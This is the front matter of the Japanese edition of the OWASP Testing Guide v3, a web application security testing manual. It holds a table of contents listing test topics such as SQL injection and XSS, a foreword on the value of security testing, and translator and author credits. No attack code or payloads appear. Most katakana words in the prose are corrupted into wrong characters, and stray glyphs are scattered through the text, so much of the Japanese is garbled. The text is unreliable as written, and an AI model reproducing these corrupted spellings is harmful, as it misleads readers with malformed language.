11.05.2014 Views

OWASP テスティングガイド

OWASP テスティングガイド

OWASP テスティングガイド

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

<strong>OWASP</strong> テスティングガイド<br />

2008 第 3 版 日 本 語 版<br />

© 2002-2008 <strong>OWASP</strong> 財 団<br />

この 文 書 は、クリエアテァブケムンヱズ 表 示 - 継 承 3.0 ラアスンヱスの 下 で 利 用 が 許 諾 されています。あなたが 改 変 したバージ<br />

ュンヱも <strong>OWASP</strong> テステァンヱギまたは <strong>OWASP</strong> 財 団 を 表 示 してください。.


目 次<br />

はじめに ..................................................................................................................................................................................... 7<br />

あなたは?............................................................................................................................................................................. 7<br />

<strong>OWASP</strong> ガイド ....................................................................................................................................................................... 7<br />

なぜ、<strong>OWASP</strong> なのか? ....................................................................................................................................................... 8<br />

優 先 順 位 ................................................................................................................................................................................. 9<br />

自 動 化 されたツールの 役 割 ................................................................................................................................................. 9<br />

行 動 しましょう ................................................................................................................................................................... 10<br />

日 本 語 版 ................................................................................................................................................................................... 11<br />

<strong>OWASP</strong> テスティングガイド 第 3 版 日 本 語 版 ................................................................................................................. 11<br />

1.まえがき ................................................................................................................................................................................ 12<br />

<strong>OWASP</strong> テスティングガイド 第 3 版 にようこそ .............................................................................................................. 12<br />

オープンウェブアプリケーション・セキュリティプロジェクトについて ............................................................... 15<br />

2.イントロダクション ............................................................................................................................................................ 18<br />

テストの 原 則 ....................................................................................................................................................................... 21<br />

テスト 技 法 の 説 明 ............................................................................................................................................................... 24<br />

セキュリティ 要 求 事 項 によるテストの 導 出 ................................................................................................................... 30<br />

3. <strong>OWASP</strong> テストの 枠 組 み ...................................................................................................................................................... 46<br />

概 要 ...................................................................................................................................................................................... 46<br />

フェーズ1: 開 発 が 始 まる 前 に ....................................................................................................................................... 47<br />

フェーズ 2: 定 義 および 設 計 中 .......................................................................................................................................... 47<br />

フェーズ 3: 開 発 中 .............................................................................................................................................................. 49<br />

フェーズ 4: 実 装 中 .............................................................................................................................................................. 50<br />

フェーズ 5: 維 持 と 運 用 ...................................................................................................................................................... 50<br />

4.ウェブアプリケーション 侵 入 テスト ................................................................................................................................. 52<br />

4.1 導 入 と 目 的 .................................................................................................................................................................... 52<br />

2


<strong>OWASP</strong> Testing Guide v3.0<br />

4.2 情 報 収 集 ......................................................................................................................................................................... 58<br />

4.2.1 テスト: スパイダ、ロボット、クローリング (<strong>OWASP</strong>-IG-001) ............................................................................ 59<br />

4.2.2 検 索 エンジンを 用 いた 情 報 収 集 、および 調 査 (<strong>OWASP</strong>-IG-002) .......................................................................... 60<br />

4.2.3 アプリケーションのエントリポイントの 識 別 (<strong>OWASP</strong>-IG-003) ........................................................................... 62<br />

4.2.4 ウェブアプリケーション、およびウェブサーバの 識 別 (<strong>OWASP</strong>-IG-004)........................................................... 66<br />

4.2.5 アプリケーションの 検 出 (<strong>OWASP</strong>-IG-005) ............................................................................................................... 72<br />

4.2.6 エラーコードの 分 析 (<strong>OWASP</strong>-IG-006) ....................................................................................................................... 78<br />

4.3 設 定 管 理 のテスト ......................................................................................................................................................... 82<br />

4.3.1 SSL/TLS のテシト (<strong>OWASP</strong>-CM-001).............................................................................................................................. 83<br />

4.3.2 DB リスナーのテスト(<strong>OWASP</strong>-CM-002) ................................................................................................................... 90<br />

4.3.3 インフラストラクチャの 設 定 に 関 するテスト(<strong>OWASP</strong>-CM-003) ......................................................................... 94<br />

4.3.4 アプリケーション 設 定 に 関 するテスト(<strong>OWASP</strong>-CM-004) ..................................................................................... 99<br />

4.3.5 ファイル 拡 張 子 処 理 のテスト(<strong>OWASP</strong>-CM-005) ................................................................................................... 104<br />

4.3.6 古 い、バックアップ、 参 照 されていないファイル(<strong>OWASP</strong>-CM-006) ............................................................... 106<br />

4.3.7 インフラストラクチャとアプリケーション 管 理 インタフェース (<strong>OWASP</strong>-CM-007)....................................... 111<br />

4.3.8 HTTP メソッドと XST についてのテスト(<strong>OWASP</strong>-CM-008) .................................................................................. 113<br />

4.4 認 証 に 関 するテスト ................................................................................................................................................... 118<br />

4.4.1 認 証 情 報 の 暗 号 通 信 路 における 送 信 (<strong>OWASP</strong>-AT-001) ........................................................................................ 119<br />

4.4.2 ユーザ 列 挙 のテスト(<strong>OWASP</strong>-AT-002) .................................................................................................................... 122<br />

4.4.3 デフォルトあるいは 推 測 可 能 な( 辞 書 を 使 っての)ユーザアカウントのテスト(<strong>OWASP</strong>-AT-003) ................... 126<br />

4.4.4 ブルートフォース 攻 撃 のテスト(<strong>OWASP</strong>-AT-004) ................................................................................................ 129<br />

4.4.5 認 証 スキーマのバイパステスト (<strong>OWASP</strong>-AT-005)................................................................................................ 134<br />

4.4.6 脆 弱 なパスワード 記 憶 とリセットのテスト (<strong>OWASP</strong>-AT-006)............................................................................ 139<br />

4.4.7 ログアウトとブラウザキャッシュ 管 理 のテスト (<strong>OWASP</strong>-AT-007).................................................................... 141<br />

4.4.8 Captcha のテスト (<strong>OWASP</strong>-AT-008) ......................................................................................................................... 146<br />

4.4.9 多 要 素 認 証 のテスト (<strong>OWASP</strong>-AT-009) ................................................................................................................... 148<br />

3


4.4.10 レースコンディションのテスト (<strong>OWASP</strong>-AT-010).............................................................................................. 152<br />

4.5 セッション 管 理 のテスト ........................................................................................................................................... 155<br />

4.5.1 セッション 管 理 スキーマのテスト (<strong>OWASP</strong>-SM-001)........................................................................................... 156<br />

4.5.2 クッキーの 属 性 のテスト(<strong>OWASP</strong>-SM-002) ........................................................................................................... 165<br />

4.5.3 セッションの 固 定 化 のテスト(<strong>OWASP</strong>-SM_003) ................................................................................................... 168<br />

4.5.4 暴 露 されたセッション 変 数 のテスト(<strong>OWASP</strong>-SM-004)........................................................................................ 171<br />

4.5.5 CSRF のテスト(<strong>OWASP</strong>-SM-005) .............................................................................................................................. 173<br />

4.6 認 可 テスト ................................................................................................................................................................... 180<br />

4.6.1 パストラバーサルのテスト(<strong>OWASP</strong>-AZ-001) ........................................................................................................ 180<br />

4.6.2 認 可 スキーマの 迂 回 のテスト (<strong>OWASP</strong>-AZ-002).................................................................................................... 184<br />

4.6.3 特 権 拡 大 のテスト(<strong>OWASP</strong>-AZ-003) ........................................................................................................................ 186<br />

4.7 ビジネスロジックのテスト(<strong>OWASP</strong>-BL-001) ............................................................................................................ 188<br />

4.8 データ 妥 当 性 確 認 テスト ........................................................................................................................................... 194<br />

4.8.1 反 射 型 クロスサイト・スクリプティングのテスト(<strong>OWASP</strong>-DV-001) ................................................................ 197<br />

4.8.2 格 納 型 クロスサイト・スクリプティング(<strong>OWASP</strong>-DV-002) .................................................................................. 201<br />

4.8.3 DoM ベースのクロスサイトスクリプティングのテスト(<strong>OWASP</strong>-DV-003) ....................................................... 208<br />

4.8.4 クロスサイトフラッシングのテスト (<strong>OWASP</strong>-DV-004) ....................................................................................... 211<br />

4.8.5 SQL インジェクション (<strong>OWASP</strong>-DV-005)................................................................................................................ 216<br />

4.8.5.1 Oracle のテスト ..................................................................................................................................................... 223<br />

4.8.5.2 MySQL のテスト .................................................................................................................................................... 231<br />

4.8.5.3 SQL Server のテスト .............................................................................................................................................. 236<br />

4.8.5.4 MS Access のテスト ............................................................................................................................................... 244<br />

4.8.5.5 PostgreSQL のテスト ............................................................................................................................................. 247<br />

4.8.6 LDAP インジェクション (<strong>OWASP</strong>-DV-006) ............................................................................................................. 252<br />

4.8.7 ORM インジェクション (<strong>OWASP</strong>-DV-007).............................................................................................................. 255<br />

4.8.8 XML インジェクション(<strong>OWASP</strong>-DV-008) ................................................................................................................ 257<br />

4


<strong>OWASP</strong> Testing Guide v3.0<br />

4.8.9 SSI インジェクション(<strong>OWASP</strong>-DV-009) .................................................................................................................. 263<br />

4.8.10 XPath インジェクション(<strong>OWASP</strong>-DV-010) ........................................................................................................... 266<br />

4.8.11 IMAP/SMTP インジェクション (<strong>OWASP</strong>-DV-011) ................................................................................................ 267<br />

4.8.12 コードインジェクション (<strong>OWASP</strong>-DV-012) ......................................................................................................... 272<br />

4.8.13 os コマンディング(<strong>OWASP</strong>-DV-013) ..................................................................................................................... 273<br />

4.8.14 バッファオーバーフローのテスト(<strong>OWASP</strong>-DV-014) .......................................................................................... 276<br />

4.8.14.1 ヒープオーバーフロー ....................................................................................................................................... 277<br />

4.8.14.2 スタックオーバーフロー ................................................................................................................................... 280<br />

4.8.14.3 フォーマットストリング ................................................................................................................................... 284<br />

4.8.15 インキュベートされた 脆 弱 性 テスト(<strong>OWASP</strong>-DV-015) ...................................................................................... 287<br />

4.8.15 HTTP 分 割 /スマグリングのテスト(<strong>OWASP</strong>-DV-016) ........................................................................................... 290<br />

4.9 サービス 拒 否 のテスト ............................................................................................................................................... 294<br />

4.9.1 SQL ワイルドカード 攻 撃 のテスト (<strong>OWASP</strong>-DS-001) ............................................................................................ 295<br />

4.9.2 顧 客 アカウントのロック (<strong>OWASP</strong>-DS-002) ........................................................................................................... 297<br />

4.9.3 バッファオーバーフロー (<strong>OWASP</strong>-DS-003) ........................................................................................................... 298<br />

4.9.4 ユーザが 指 定 したオブジェクトの 割 り 当 て (<strong>OWASP</strong>-DS-004)............................................................................ 299<br />

4.9.5 ループカウンタとしてのユーザ 入 力 (<strong>OWASP</strong>-DS-005)........................................................................................ 300<br />

4.9.6 ユーザ 提 供 データのディスクへの 書 き 込 み (<strong>OWASP</strong>-DS-006)............................................................................ 301<br />

4.9.7 リソース 解 放 の 失 敗 (<strong>OWASP</strong>-DS-007) ................................................................................................................... 303<br />

4.9.8 セッションへの 大 量 のデータ 保 存 (<strong>OWASP</strong>-DS-008)............................................................................................ 304<br />

4.10 ウェブサービステスト ............................................................................................................................................. 306<br />

4.10.1 ウェブサービスの 情 報 収 集 (<strong>OWASP</strong>-WS-001) .................................................................................................... 306<br />

4.10.2 WSDL のテスト (<strong>OWASP</strong>-WS-002).......................................................................................................................... 313<br />

4.10.3 XML 構 造 テスト (<strong>OWASP</strong>-WS-003) ........................................................................................................................ 316<br />

4.10.4 XML コンテンツ・レベルテスト (<strong>OWASP</strong>-WS-004) ............................................................................................ 320<br />

4.10.5 HTTP GET パラメータ/REST テスト (<strong>OWASP</strong>-WS-005) ....................................................................................... 322<br />

5


4.10.6 いたずらな SOAP 添 付 ファイル (<strong>OWASP</strong>-WS-006) ............................................................................................. 324<br />

4.10.7 リプレイテスト (<strong>OWASP</strong>-WS-007) ........................................................................................................................ 326<br />

4.11 AJAX のテスト ............................................................................................................................................................ 328<br />

4.11.1 AJAX の 脆 弱 性 (<strong>OWASP</strong>-AJ-001)............................................................................................................................. 329<br />

4.11.2 AJAX に 対 するテスト (<strong>OWASP</strong>-AJ-002) ................................................................................................................. 333<br />

5.レポートを 書 く: 最 も 重 要 なリスクを 評 価 する ...................................................................................................... 338<br />

5.1 どのように 本 当 のリスクを 評 価 するか ................................................................................................................... 338<br />

5.2 どのようにテストの 報 告 書 を 書 くか ....................................................................................................................... 346<br />

付 録 A:テストツール ........................................................................................................................................................ 351<br />

付 録 B:お 勧 めの 文 献 ......................................................................................................................................................... 354<br />

付 録 C: ファズ・ベクトル ................................................................................................................................................ 356<br />

付 録 D: エンコードされたインジェクション ................................................................................................................ 361<br />

6


<strong>OWASP</strong> Testing Guide v3.0<br />

はじめに<br />

安 全 でないセフトウェアの 問 題 は、おそらく 私 たちの 時 代 における 最 も 重 要 な 技 術 的 挑 戦 でしょう。スカャヨティは 今 や 私 た<br />

ちが IT 技 術 で 創 造造 することができるものに 対 する 主 たる 制 限 要 因 になっています。エープヱウェブアプヨクーサュヱ・スカャ<br />

ヨティプルザェキト(<strong>OWASP</strong>'で、 私 たちはこの 世 界 を 安 全 でないセフトウェアが 通 常 なのではなく、 異 常 であるような 場 所 にし<br />

ようと、そして <strong>OWASP</strong> テシティヱギオイドがパジラの 重 要 なピーシの 一 つにすべく、 努 力 を 続 けています。<br />

スカャヨティテシトを 実 施 しなければ、 安 全 なアプヨクーサュヱを 構 築 できないことは 言 うまでもありません。それでもまだ 多 く<br />

のセフトウェア 開 発 組 織 では、スカャヨティテシトを 標 準 的 なセフトウェア 開 発 プルスシに 含 めていません。しかも、スカャヨティ<br />

テシトは、 単 独犉 で 実 施 した 場 合 、アプヨクーサュヱセフトウェアがどのくらい 安 全 であるかを 測 定 する 方 法 として、 特牐 に 優 れて<br />

いるわわけではありません、なぜなら、 攻 撃 者 がアプヨクーサュヱを 破 る 方 法 は 無 数 にあり、そのすべてをテシトすることは 不 可<br />

能 だからです。しかし、スカャヨティテシトには、 問 題 が 存 在 することをなかなか 認 めようとしない 人 たちも 絶 対 に 説 得 できると<br />

いう、 特牐 別 な 力 があります。 開 発 するセフトウェア、または、 利 用 するセフトウェアを 信 頼 する 必 要 にせまられた 組 織 は、スカャ<br />

ヨティテシトが 重 要 な 構 成 要 素 であることをこのようにして 証 明 してきたのです。<br />

あなたは?<br />

セフテウェア 開 発 者 -+ あなたが 開 発 したケードが 攻 撃 に 脆 弱 (ぜいじゃく'ではないことを 確 認 するためにこのオイドを 使 う<br />

必 要 があるでしょう。あなたは 下 流 工 程 のテシト 実 施 者 、あるいは、スカャヨティギラープがあなたのためにテシトを 実 施 する<br />

ことに 依 存 してはいけません。こうした 人 たちは、あなたのセフトウェアをあなたほど 十 分 には 理 解 できません。 従 って、あな<br />

たと 同 じくらい 効 果 的 にあなたのセフトウェアをテシトできないからです。あなたのケードのスカャヨティに 対 する 責 任 は、 断 固<br />

としてあなたにあるのですㅯ!<br />

セフテウェアテステ テステ 実 施 者 -+ あなたのテシト 実 施 能 力 を 高 めるためにこのオイドを 使 うべきです。 スカャヨティテシトは、これ<br />

まで 長 い 間 、 隠 された 技 術 でしたが、<strong>OWASP</strong> は、この 知 識 を 無 償 ですべての 人 に 開 放 することに、 懸 命 に 努 力 しています。<br />

このオイドに 記 述 されたテシトの 多 くは、あまり 複 雑 でなく、 特牐 別 なシカラやツーラも 必 要 ありません。あなたがスカャヨティを<br />

学婲 ぶことによって、 会 社 のためにもなり、また、あなたの 経 歴 を 高 めることにもなります。<br />

スキャリテァ 専 門 家 -+ あなたには、アプヨクーサュヱに 脆 弱 性 (ぜいじゃくせい'がないことを 確 認 する 特牐 別 な 責 任 がありま<br />

す。あなたのスカャヨティテシトの 範 囲 と 厳 密 性 を 明 確 にするために、このオイドが 役 立 つでしょう。ただし、 単 に 数 少 ないス<br />

カャヨティベーラ( 穴 'を 探 すというワロナの 犠牢 牲牌 者 にならないようにしてください。あなたの 仕 事 はアプヨクーサュヱ 全 体 のスカ<br />

ャヨティを 検 証 することです。このオイドと 同 様 に <strong>OWASP</strong> アプヨクーサュヱ・スカャヨティ 検 証 標 準 (ASVS'を 使 うことを 強 く 推<br />

奨 します。<br />

<strong>OWASP</strong> ガアデ<br />

<strong>OWASP</strong> は、アプヨクーサュヱ・スカャヨティに 関 する 知 識 デーソプーシを 獲狚 得 するために、このオイドと 一 緒 に 利 用 していた<br />

だく 複 数 のオイドを 作 成 しました8<br />

<strong>OWASP</strong> アプリクーシュンヱ・スキャリテァ 机 上 リファレンヱス -+ ASDR (Application Security Desk Reference) は、アプヨクーサュ<br />

ヱ・スカャヨティにおける、 基 本 的 な 定 義 、すべての 重 要 な 原 則 の 記 述 、 脅 威姕 、 攻 撃 、 脆 弱 性 、 対 策 、 技 術 的 影 響 、および、<br />

7


ビザネシ 上 の 影 響 を 含 んでいます。このヨファリヱシは、 他 のすべてのオイドのための 基 礎 的 な 参 考 資 料 であって、また、 他<br />

のオイドから 頻 繁 に 参 照 されます。<br />

<strong>OWASP</strong> 開 発 者 ガアデ -+ このオイド (Developer’s Guide) は、セフトウェア 開 発 者 が 適遚 切 な 場 所 に 講 ずべき、すべてのスカャ<br />

ヨティ 対 策 を 対 象 としています。 これらの 対 策 は、 開 発 者 が 自 分 たちのアプヨクーサュヱに 作 り 込 んでおかなくてはならない<br />

「 積 極 的 な」 保 護 です。セフトウェアの 脆 弱 性 は 数 百 種 類 ありますが、 数 種 類 の 強 固 なスカャヨティ 対 策 によって、すべて 防<br />

ぐことができます。<br />

<strong>OWASP</strong> テステァンヱギガアデ<br />

-+ お 読 みいただいている、このテシティヱギオイドは、アプヨクーサュヱのスカャヨティテシトにお<br />

ける、 手 順 とツーラが 対 象 範 囲 です。このオイドの 最 も 良 い 使 用 方 法 は、 包 括 的 なアプヨクーサュヱ・スカャヨティ 検 証 の 一<br />

部邪 として 使 用 することです。<br />

<strong>OWASP</strong> ケーデレパャーガアデ<br />

-+ ケードリビャーオイドは、テシティヱギオイドと 並 んで 最 も 良 く 使 わわれます。 ケードリビャーに<br />

よってアプヨクーサュヱを 実 証 することは、テシトを 実 施 するよりも、はるかに 費 用 対 効 果 が 高 いことが 多 いのです。あなたは、<br />

現 在 取 り 組 んでいるアプヨクーサュヱに 対 して、 最 も 効 果 的 なアプルータを 選遥 択 することができます。<br />

<strong>OWASP</strong> オイドは、このオイドと 一 緒 に 利 用 することによって、 安 全 なアプヨクーサュヱの 開 発 や 維 持 に 向 けた 素 晴 らしい 出 発<br />

地 点 になるでしょう。<strong>OWASP</strong> オイドをアプヨクーサュヱ・スカャヨティの 第 一 歩 として 利 用 することを 大 いに 推 奨 します。<br />

なぜ、<strong>OWASP</strong> なのか?<br />

このようなオイドを 作 成 することは、 世 界 中 の 何 百 という 人 々の 専 門 的 知 識 を 大 規 模 に 取 り 込 み、 表 現 することです。 スカャ<br />

ヨティの 不 具 合 をテシトするさまざまな 方 法 がありますが、このオイドでは、テシトをどのように 素 早 く、 正 確 、かつ、 効 率狨 的 に<br />

実 施 するかについて 一 流 の 専 門 家 の 一 致 した 意 見 を 取 り 込 みました。<br />

このオイドが 完媍 全 に 無 償 で、また、 開 放 的 な 方 法 で 利 用 可 能 であることの 重 要 性 については、 評 価 しすぎることはありませ<br />

ん。スカャヨティは、 少 数 の 者 だけが 実 行 できる 黒 魔 術 であってはいけません。 利 用 可 能 なほとんどのスカャヨティオイドは、<br />

人 々が 問 題 点 について 心 配郤 になってしまう 程 度 に 詳 しいだけで、スカャヨティの 問 題 点 を 発 見 し、 診 断 し、 解 決 するために<br />

十 分 な 情 報 を 提 供 してくれません。このオイドを 作 成 するプルザェキトは、このような 専 門 的 知 識 を、その 知 識 を 必 要 とする<br />

人 々に 届 くようにします。<br />

このオイドにおけるテシト 方 法 は、 開 発 者 とセフトウェアテシト 実 施 者 が 実 施 可 能 なものでなくてはなりません。すべての 問 題<br />

の 中 で 重 要 な 弱 点 を 発 見 できるアプヨクーサュヱ・スカャヨティの 専 門 家 は、 世 界 中 を 探 しても 十 分 な 数 ではありません。ア<br />

プヨクーサュヱ・スカャヨティに 対 する 最 初 の 責 任 は、 開 発 者 の 肩 に 掛 かっているのです。 開 発 者 がテシトを 実 施 できないと<br />

したら、 安 全 なケードを 生 成 できないとしても 驚 くことではありません。<br />

この 情 報 を 最 新 にしておくことは、このオイド 作 成 プルザェキトの 重 要 事 項 です。ウィカアプルータを 採 用 しているので、<br />

<strong>OWASP</strong> ケポャニティは、 動 きの 速 いアプヨクーサュヱスカャヨティの 脅 威姕 環 境 に 追 いつくように、このオイドの 情 報 を 発 展 、 拡<br />

張 することができます。<br />

8


<strong>OWASP</strong> Testing Guide v3.0<br />

優 先 順 位<br />

このオイドは、 異 なったソイプのスカャヨティベーラを 発 見 するために 利 用 可 能 な 技 法 を 集 めたものであると 考 えるのがよい<br />

でしょう。しかし、すべての 技 法 が 同 じように 重 要 というわわけではありません。このオイドをタェッキヨシトとして 使 用 するのは 避遪<br />

けてください。<br />

おそらく、アプヨクーサュヱ・スカャヨティテシトの 最 も 重 要 な 観 点 として 覚 えておくべきなのは、 限 られた 時 間 の 中 で 最 大 の<br />

範 囲 をテシトしなければならない、ということです。このオイドを 開 いてすぐにテシトを 始妵 める、というような 使 い 方 をしないよう、<br />

強 く 推 奨 します。 理 想 的 には、あなたの 組 織 にとって、 最 も 重 要 なスカャヨティ 上 の 懸 念 事 項 が 何 かを 決 定 するために 脅 威姕<br />

ムデラを 考 えるのがよいでしょう。その 結 果 、 検 証 すべきスカャヨティ 要 求 事 項 について 優 先 順 位 付 きのヨシトが 得 られるは<br />

ずです。<br />

次 のシテップでは、これらの 要 求 事 項 をどのように 検 証 すべきか 決 めます。さまざまな 選遥 択 肢 があります。 手 動 のスカャヨテ<br />

ィテシト、または、 手 動 のケードリビャーを 実 施 することができます。また、 自 動 化 された 脆 弱 性 シカメヱや、 自 動 化 されたケ<br />

ードシカメヱ( 静 的 分 析 'を 実 施 することもできます。 要 求 事 項 を 検 証 するために、スカャヨティの 設 計 方 針 のリビャー、また<br />

は、 開 発 者 や 設 計 者 との 議 論 を 行 うことさえ 可 能 です。 重 要 なことは、どの 技 法 があなたのアプヨクーサュヱにとって、 最 も 正<br />

確 で、 効 果 的 であるかを 決 めることです。<br />

自 動 化 されたヂールの 役 割<br />

自 動 化 されたアプルータは 魅 力 的 です。 比 較 的 短 時 間 のうちに、 適遚 切 な 範 囲 をテシトできるように 思 わわれます。 不 運遀 なこと<br />

に、この 想 定 はネットワローキ・スカャヨティではある 程 度 正 しいのですが、アプヨクーサュヱ・スカャヨティではほとんど 正 しくあ<br />

りません。<br />

第 一 に、 自 動 化 されたツーラは、 一 般 的 であるがために 対 象 範 囲 がそれほど 広 くありません。なぜなら、あなたが 開 発 した<br />

ケード 用 には 設 計 されていないからです。つまり、ツーラはいくつかの 一 般 的 な 問 題 を 発 見 することはできますが、 多 くの 不<br />

具 合 を 検 出 できるほど 十 分 には、あなたのアプヨクーサュヱに 関 する 知 識 を 持 っていないのです。 著 者 の 経 験 によれば、 最<br />

も 深 刻 なスカャヨティ 上 の 問 題 点 は、 一 般 的 なものではなく、 業 務 の 流 れ(ビザネシルザッキ'とォシソボイジされたアプヨクー<br />

サュヱ 設 計 に 深 く 関 連連 したものなのです。<br />

第 二 に、 自 動 化 されたツーラは、 手 動 の 方 法 に 比 べて、 必 ずしも 高 速 ではありません。ツーラを 実 行 するときには、 多 くの<br />

時 間 を 要 しませんが、 実 行 前 後 にかなりの 時 間 が 掛 かります。 実 行 前 の 準 備 では、ツーラにアプヨクーサュヱのすべての 入<br />

力 と 出 力 を 覚 えさせなければなりません。 何 千 項 目 になることもあります。 実 行 後 には、ときには 数 千 に 及 ぶ 報 告 された 問<br />

題 点 を 分 析 するのにかなりの 時 間 を 要 します。しかも、 報 告 された 問 題 点 が 問 題 ではないこともよくあります。<br />

もし、 可 能 な 限 り 速 く 最 も 深 刻 な 不 具 合 を 発 見 し、 排 除 することが 目 的 であるとすれば、 異 なったソイプの 脆 弱 性 に 対 して、<br />

最 も 効 果 的 なテシト 技 法 を 選遥 んでください。 自 動 化 されたツーラは、ある 特牐 定 の 問 題 点 については、 非 常 に 効 果 的 です。 自<br />

動 化 されたツーラをうまく 使 えば、もっと 安 全 なケードを 生 成 するための 活 動 全 体 に 対 して 役 立 つことでしょう。<br />

9


行 動 しましょう<br />

もし、あなたがセフトウェアを 開 発 しているのであれば、このオイドによって、スカャヨティテシトのオイゾヱシに 精 通 されますよ<br />

う、 強 く 推 奨 します。もし、このオイドに 間 遊 いを 発 見 したら、 議 論 のヘーザにノートを 追 加 してください。あるいは、あなた 自<br />

身 で 変 更 していただいても 結 構 です。あなたはこのオイドを 使 う 数 多 くの 人 たちの 役 に 立 つことになるでしょう。<br />

私 たちが <strong>OWASP</strong> において、このテシティヱギオイドと 他 のすべての 素 晴 らしいプルザェキトのような 素 材 を 生 成 し 続 けること<br />

ができるように、 個 人 または 組 織 のミヱバーとして、 私 たちに 加 わわることを 是 非 ご 検 討 ください。このオイドに 関 する 過遃 去 およ<br />

び 未 来 のすべての 貢 献犰 者 に 感 謝 します。あなたの 貢 献犰 は、 世 界 中 のアプヨクーサュヱをもっと 安 全 なものにすることに 寄 与<br />

するでしょう。<br />

ザェフ・ウィヨアマジ<br />

<strong>OWASP</strong> 議 長<br />

2007 年 1 月 16 日<br />

10


<strong>OWASP</strong> Testing Guide v3.0<br />

日 本 語 版<br />

<strong>OWASP</strong> テステァンヱギガアデ 第 3 版 日 本 語 版<br />

<strong>OWASP</strong> 財 団 から (ISC)2 Japan に 依 頼 があり、(ISC)2 Japan 代 表 の 衣 川 氏 が、<strong>OWASP</strong> テシティヱギオイド 第 3 爮 の 翻 訳 者 を<br />

(ISC)2 ミヱバーに 公 募 し、 応 募 者 の 中 から 7 名 の 翻 訳 者 が 選遥 出 され、 英 語 爮 から 日 本 語 爮 への 翻 訳 を 実 施 しました。(ISC)2<br />

Japan については、 次 のコイトをご 覧 ください。<br />

<br />

https://www.isc2.org/japan/<br />

改 訂 履 歴<br />

<strong>OWASP</strong> テシティヱギオイド 第 3 爮 の 日 本 語 翻 訳 プルザェキトは、2010 年 1 月 に 開 始妵 し、2010 年 8 月 に 日 本 語 爮 をヨヨーシ<br />

しました。<br />

• 2010 年 8 月<br />

「<strong>OWASP</strong> テシティヱギオイド」、 第 3 爮 ( 日 本 語 爮 '<br />

第 3 版 日 本 語 版 翻 訳 者<br />

• 青 木 智 嗣 、Tomotsugu Aoki<br />

• 藤 原 将 志 、Masashi Fujiwara<br />

• 広 口 正 之 、HIROGUCHI, Masayuki<br />

• 岩 見 紫 乃 、IWAMI, Shino<br />

• 久 下 哲 男 、Tetsuo Kuge<br />

• 鳥 居 肖 史 、Shouji Torii<br />

• 石 附 陽 子婡 、ISHIZUKI, Yoko<br />

11


1.まえがき<br />

<strong>OWASP</strong> テステァンヱギガアデ 第 3 版 にようこそ<br />

「 開 放 的 で、 協 同 的 な 知 識 8 それが <strong>OWASP</strong> のやり 方 です」<br />

ボチテオ・ミウチタ<br />

<strong>OWASP</strong> は、このオイドを 今 日 の 姿姓 にした 多 くの 著 者 、 査 読 者 、 編 集 者 の 多 大 な 努 力 に 感 謝 します。 もし、テシティヱギオイド<br />

に 対 するケミヱトまたは 提 案 をお 持 ちであれば、テシティヱギオイドのミーヨヱギヨシトに 電 子婡 ミーラをお 送 りください( 訳 注 8<br />

英 文 でお 願 いします'8<br />

<br />

http://lists.owasp.org/mailman/listinfo/owasp-testing<br />

あるいは、プルザェキトヨーゾに 電 子婡 ミーラをお 送 りください8ボッテエ・ミウッタ<br />

第 3 版<br />

<strong>OWASP</strong> テシティヱギオイド 第 3 爮 は、 第 2 爮 を 改 善 し、また、 新 しいスキサュヱと 対 策 を 作 成 しました。 第 3 爮 で 追 加 された<br />

項 目 は 次 のとおりです8<br />

• ケヱフィガャリーサュヱ 管 理 と 認 証 のテシトのスキサュヱ、および、ケード 化 されたイヱザェキサュヱの 付 録 9<br />

• 36 の 新 しい 記 事 (うち 1 つは <strong>OWASP</strong> BSP から 採 用 しました'9<br />

第 3 爮 では、7 個 の 記 事 を 改 訂 し、 合 わわせて10 個 のテシトォテゲヨーと44 個 の 対 策 になりました。<br />

著 作 権 とラアスンヱス<br />

Copyright (c) 2008 The <strong>OWASP</strong> Foundation.(<strong>OWASP</strong> 財 団 '<br />

この 文 書 はキヨウイティブケムヱジ 表 示 - 継 承 3.0 ョイスヱシの 下 でヨヨーシされています。 是 非 、ョイスヱシと 著 作 権 の 条 件<br />

を 読 み、 理 解 してください。<br />

改 訂 履 歴<br />

テシティヱギオイド 第 3 爮 は、2008 年 11 月 にヨヨーシされました。テシティヱギオイドの 作 成 は、 初 代 編 集 者 の1 人 であるゾ<br />

ヱ・ォシバートによって、2003 年 に 開 始妵 されました。オイドの 作 成 は、2005 年 にイアヱ・カアヨーに 引 き 継 がれ、ウィカに 変 換<br />

されました。その 後 、 第 2 爮 から 現 在 までの <strong>OWASP</strong> テシティヱギオイドプルザェキトのヨーゾであるボッテエ・ミウッタが 引 き<br />

継 ぎました。<br />

• 2008 年 12 月 16 日<br />

「<strong>OWASP</strong> テシティヱギオイド」、 第 3 爮 -+ <strong>OWASP</strong> コポット 08 にて、ボッテエ・ミウッタによってヨヨーシされました。<br />

12


<strong>OWASP</strong> Testing Guide v3.0<br />

• December 25, 2006<br />

「<strong>OWASP</strong> テシティヱギオイド」、 第 2 爮<br />

• 2004 年 7 月 14 日<br />

「<strong>OWASP</strong> ウェブアプヨクーサュヱ 侵 入 試 験 タェッキヨシト」、 第 1.1 爮<br />

• 2004 年 12 月<br />

「<strong>OWASP</strong> テシティヱギオイド」、 第 1 爮<br />

編 集 者<br />

ボチテオ・ミウチタ: 2007 年 から、<strong>OWASP</strong> テシティヱギオイドのヨーゾです。<br />

アアンヱ・キアリー : 2005 年 から 2007 年 にかけて、<strong>OWASP</strong> テシティヱギオイドのヨーゾでした。<br />

ダドエル・カスバーテ: 2003 年 から 2005 年 にかけて、<strong>OWASP</strong> テシティヱギオイドのヨーゾでした。<br />

第 3 版 著 者<br />

• アヌョギ・アオーワロラ<br />

• ゾニウラ・プラッタ<br />

• アヨアヱ・ケルネラ<br />

• シテファノ・ディ・パエョ<br />

• ザュラザュ・フェドヱ<br />

• アョヱ・ギッドボヱ<br />

• キヨシタメヱ・ハイヱヨッヒ<br />

• クビヱ・ベラバート<br />

• ザメヱヨケ・イヱギルッセ<br />

• ルプラト・シッガ・ヨヲェョニ<br />

• アリッキシ・キゴ<br />

• パヲェラ・ラプソキ<br />

• フェラー・ボヲィタャナ<br />

• ボラケ・ミッョ<br />

• ボッテエ・ミウッタ<br />

• ボラケ・ムョナ<br />

• アヱトニエ・パョソ<br />

• スサラ・シー<br />

• ハヨサャ・シォヱゾ・サャリディ<br />

• ボーキ・ルキシプヨー<br />

• アヱドヨャー・V・D・シトッキ<br />

V3 REVIEWERS 第 3 版 査 読 者<br />

• ボーケ・ケヲァ<br />

• クビヱ・フョー<br />

• ボッテエ・ミウッタ<br />

• ナマ・ニャーウヱ<br />

